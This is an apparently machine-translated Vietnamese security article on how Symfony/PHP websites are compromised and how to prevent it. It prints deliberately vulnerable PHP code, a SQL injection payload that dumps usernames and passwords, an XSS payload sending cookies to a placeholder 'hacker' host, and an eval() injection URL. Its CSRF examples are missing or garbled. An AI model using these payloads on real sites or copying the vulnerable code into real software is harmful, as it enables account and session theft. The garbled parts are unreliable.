Symfony là một khung công tác PHP phổ biến giúp người dùng dễ dàng tạo các trang web và ứng dụng web PHP. Trước đây, đã có những trường hợp Drupal bị ảnh hưởng do một lỗ hổng trong khung Symfony. Cuối cùng, điều này dẫn đến trang web Symfony bị tấn công. Mặc dù đôi khi đây là một lỗ hổng của khung công tác Symfony, các phương pháp phát triển không an toàn cũng khiến trang web PHP của bạn dễ bị tấn công. Qua bài viết này, bạn sẽ biết được những lỗ hổng nghiêm trọng có thể dẫn đến việc trang web Symfony bị tấn công và cách ngăn chặn chúng.
Sự phổ biến của Symfony có thể là do nó cung cấp một bộ thư viện PHP có thể phân tách và sử dụng được. Các thư viện này có thể tăng tốc độ phát triển và làm cho nó hoàn toàn dễ dàng hơn. Tuy nhiên, chỉ sử dụng khung công tác Symfony không thể bảo mật trang web PHP của bạn. Theo dữ liệu từ Contrast Security,
Trang web Symfony bị tấn công:Các triệu chứng
- Các bảng đáng ngờ trong cơ sở dữ liệu, người dùng không xác định và tệp không xác định trên hệ thống có thể là dấu hiệu của Symfony SQL Injection.
- Cửa sổ bật lên và quảng cáo chuyển hướng đến các miền đặc biệt có thể là kết quả của quá trình Thực thi mã từ xa của Symfony.
- Nếu người dùng phàn nàn về việc xóa tài khoản hoặc thao túng dữ liệu mà không được họ xác thực trên trang web của bạn, thì đó có thể là do Symfony Cross-Site Request Forgery.
- Nội dung vô nghĩa xuất hiện trên trang web của bạn do Symfony đã lưu trữ Cross-Site Scripting.
- Do tất cả các trang web Symfony bị tấn công, các công cụ tìm kiếm cảnh báo người dùng không nên truy cập trang web của bạn.
Nguyên nhân trang web Symfony bị tấn công
Trang web Symfony bị tấn công:SQL Injection
Symfony SQL injection là một kiểu tấn công chủ yếu nhắm vào cơ sở dữ liệu của trang web của bạn. Việc thiếu quy trình làm sạch đầu vào của người dùng khiến trang web dễ bị tấn công, sau đó dẫn đến trang web Symfony bị tấn công. Ví dụ:hãy xem đoạn mã được đưa ra bên dưới:
<?php
$query = "SELECT id, name, inserted, size FROM products WHERE size = '$size'";
$result = odbc_exec($conn, $query);
?>
Đây trông giống như một mã PHP đơn giản để thực hiện một truy vấn SQL nhưng kẻ tấn công có thể sử dụng nó để tiết lộ tất cả các mật khẩu từ cơ sở dữ liệu bằng lệnh SELECT SQL. Đầu vào được cung cấp cho biến $ size sẽ trông giống như sau:
'union select '1', concat(uname||'-'||passwd) as name, '1971-01-01', '0' from user;--
Câu lệnh này khi thực thi có thể liệt kê tất cả các mật khẩu từ bảng có tên người dùng. Các ký hiệu ‘-‘ ở cuối câu lệnh này sẽ biến phần còn lại của đoạn mã trong dòng này thành các chú thích để tránh bất kỳ lỗi nào. Đây chỉ là một ví dụ nhỏ, những kẻ tấn công có thể sử dụng nó theo nhiều cách khác nhau để thao túng, chỉnh sửa và thậm chí xóa cơ sở dữ liệu của bạn. Trong một số trường hợp trang web Symfony bị tấn công, SQLi cũng có thể được sử dụng để lấy một trình bao ngược lại. Trang web của Symfony bị tấn công:Tập lệnh trên nhiều trang web
XSS là một lỗ hổng được tìm thấy rộng rãi xảy ra do thiếu quy trình làm sạch đầu vào của người dùng thích hợp. Lỗ hổng này thường được tìm thấy trong hộp tìm kiếm, bảng tin, v.v. Một trang web Symfony bị tấn công do XSS có thể bị kẻ tấn công sử dụng để đánh cắp cookie và do đó chiếm lấy phiên. Ví dụ:tạo một truy vấn tìm kiếm với mã sau có thể cho phép kẻ tấn công lấy cắp cookie của bất kỳ ai nhấp vào nó.
"><SCRIPT>var+img=new+Image();img.src="https://hacker/"%20+%20document.cookie;</SCRIPT>
Ở đây ký tự ‘>‘ sẽ đóng các thẻ trước đó. Sau đó, hàm tạo image () sẽ tạo một hình ảnh mới trong biến ‘img‘. Dòng tiếp theo sẽ xác định nguồn của hình ảnh và trong cùng một dòng, phương thức document.cookie sẽ được sử dụng để lấy cookie cho việc tiếp quản phiên. Nếu XSS được lưu trữ hoặc tồn tại lâu dài thì càng nguy hiểm hơn vì tập lệnh này sẽ tự động đánh cắp cookie khi ai đó mở trang bị nhiễm. Trong khi, XSS được phản ánh dựa trên các cuộc tấn công kỹ thuật xã hội. Không chỉ ăn cắp cookie mà trang web Symfony bị tấn công do XSS cũng có thể được sử dụng cho tất cả các loại tấn công lừa đảo! Bạn cần trợ giúp để sửa chữa trang web Symfony bị tấn công? Làm sạch trang web của bạn ngay bây giờ
Trang web của Symfony bị tấn công:Yêu cầu trên nhiều trang web
CSRF có thể bị những kẻ tấn công sử dụng để khiến nạn nhân của bạn thực hiện các tác vụ không mong muốn như xóa tài khoản, thao túng dữ liệu người dùng, v.v. Ví dụ:khi người dùng đăng nhập vào trang web của bạn, việc truy cập vào một trang được thiết kế đặc biệt như trang dưới đây có thể dẫn đến việc xóa tài khoản. Trang này sẽ sử dụng giá trị ‘delete’ của hành động để xóa tài khoản người dùng. Mặc dù kẻ tấn công có thể sử dụng CSRF để thực hiện các cuộc tấn công khác nhau, nhưng không có cơ chế nào để anh ta / cô ta thấy rằng chúng đã được thực hiện thành công.Trang web Symfony bị tấn công:Thực thi mã từ xa
Thực thi mã từ xa xảy ra trong các trang web sử dụng Symphony do các tiêu chuẩn mã hóa kém. Vấn đề bảo mật lớn nhất trong tất cả các cuộc tấn công nêu trên là tin tưởng đầu vào của người dùng. Ví dụ:sử dụng kém hàm eval () trong mã PHP sẽ như thế này:
$myvar = "varname";
$x = $_GET['arg'];
eval("\$myvar = \$x;");
Đoạn mã này có vẻ khá đơn giản sẽ lấy các đối số và sử dụng hàm eval để thực thi chuỗi dưới dạng mã PHP. Nhưng vì đầu vào không được lọc, kẻ tấn công có thể cung cấp một số giá trị như /index.php?arg=1; phpinfo()
điều này sẽ dẫn đến việc thực thi mã của hàm phpinfo (). Trang web Symfony bị tấn công:Các phương pháp phát triển an toàn
- Để ngăn chặn các cuộc tấn công SQLi vào trang web Symfony của bạn, hãy sử dụng các câu lệnh đã chuẩn bị.
- Để ngăn chặn các cuộc tấn công XSS trong trang web Symfony của bạn, hãy sử dụng hàm htmlspecialchars () Triển khai hàm này bất cứ khi nào cần bất kỳ đầu vào nào của người dùng để hiển thị dưới dạng đầu ra trên trình duyệt.
- Triển khai mã thông báo ngẫu nhiên ẩn trong trang để tránh bị CSRF tấn công như thế này: ”>
- Để ngăn chặn RCE, hãy tắt tất cả các chức năng nguy hiểm thông qua chỉ thị PHP này trong tệp php.ini:disable_functions =“show_source, system, shell_exec, passthru, execute, popen, proc_open, allow_url_fopen, eval”
- Vì vậy, điểm mấu chốt là hầu hết các lỗ hổng có thể tránh được bằng cách không tin tưởng đầu vào của người dùng trong trang web Symfony của bạn.
- Hãy tiến hành kiểm tra bảo mật toàn bộ nếu bạn nghi ngờ bất kỳ lỗ hổng bảo mật nào có thể ẩn náu trên trang web của bạn.